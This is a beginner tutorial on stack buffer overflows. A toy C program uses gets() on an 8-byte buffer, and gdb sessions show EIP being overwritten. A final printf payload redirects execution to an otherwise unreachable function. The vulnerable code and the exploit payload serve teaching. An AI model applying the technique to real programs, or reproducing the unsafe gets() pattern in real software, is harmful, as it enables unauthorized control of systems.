I will show how simple the basics of exploitation are. 
We will illustrate what happens when program takes user input, what happens when a buffer is overflowed and take control of the execution of the program and redirect it to an area you do not have access.
#include <stdio.h>
void return_input(void)
{
    char array[8];
    gets(array);
    printf("%s\n",array);
}
void bingo(void)
{
    printf("You successfully exploited a vulnerability\n");
}
int main()
{
    int i = 0;
    return_input();
    if (i==1)
        bingo();
    return 0;
}
Now this program reads user input into a buffer and then outputs it. Then there is this other function that says you exploited a vulnerability. In theory you can never get that function to run. "i" is set to 0 and need to equal 1. Go ahead and try it. only the return_input function works.
here's a first try:
root@bt:~# ./ex
AAAAAAAAAA
AAAAAAAAAA
I wrote 10 A's and it wrote back 10 A's on the screen.
What if I try more A's:
root@bt:~# ./ex
AAAAAAAAAAAAAAAAAAA\
AAAAAAAAAAAAAAAAAAA\
Segmentation fault (core dumped)
Thats what we want! Lets take a look in a debugger:
root@bt:~# gdb ex
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/ex...(no debugging symbols found)...done.
(gdb)
Lets crash it and check the registers. Remember, the eip is what will give you control of the program. If we can overwrite that register, we can gain control of execution.
Lets try:
(gdb) run
Starting program: /root/ex 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb) i r
eax            0x21    33
ecx            0xb7fca4e0    -1208179488
edx            0xb7fcb360    -1208175776
ebx            0xb7fc9ff4    -1208180748
esp            0xbffff530    0xbffff530
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0x43434343    0x43434343    <-----
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
yes! We overwrote the eip register with 43s (i.e. C).
We need to overwrite exactly the 4bytes of eip. lets try:
Starting program: /root/ex 
AAAAAAAABBBBBBBBCCCCAAAA  
AAAAAAAABBBBBBBBCCCCAAAA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i r
eax            0x19    25
ecx            0xb7fca4e0    -1208179488
edx            0xb7fcb360    -1208175776
ebx            0xb7fc9ff4    -1208180748
esp            0xbffff530    0xbffff530
ebp            0x43434343    0x43434343
esi            0x0    0
edi            0x0    0
eip            0x41414141    0x41414141 <-------
eflags         0x10246    [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51
Bingo! we overwrote the eip with our 4 As.
Now we couold replace the 4 As with an actual address, but what? Sometimes it is enough to access an unauthorized part of a program rather than have a shell, so lets keep it simple and try that.
Let's see what the program looks like with [disas main] and find where we want to go:
(gdb) disas main
Dump of assembler code for function main:
   0x08048446 <+0>:    push   %ebp
   0x08048447 <+1>:    mov    %esp,%ebp
   0x08048449 <+3>:    and    $0xfffffff0,%esp
   0x0804844c <+6>:    sub    $0x10,%esp
   0x0804844f <+9>:    movl   $0x0,0xc(%esp)
   0x08048457 <+17>:    call   0x8048414 <return_input>
   0x0804845c <+22>:    cmpl   $0x1,0xc(%esp)
   0x08048461 <+27>:    jne    0x8048468 <main+34>
   0x08048463 <+29>:    call   0x8048432 <bingo>    <-----------
   0x08048468 <+34>:    mov    $0x0,%eax
   0x0804846d <+39>:    leave  
   0x0804846e <+40>:    ret    
End of assembler dump.
At address 0x08048463, it calls the bingo function, a function I cannot access. (you could pretend it's authentication etc.) 
Well we have our address, lets quit the debugger and exploit the program. Remember, we have to reverse the bytes!
root@bt:~# printf "AAAAAAAABBBBBBBBCCCC\x63\x84\x04\x08" |./ex
AAAAAAAABBBBBBBBCCCCc�
You successfully exploited a vulnerability
Voila, we got the program to access a function that we had no access to! Simple...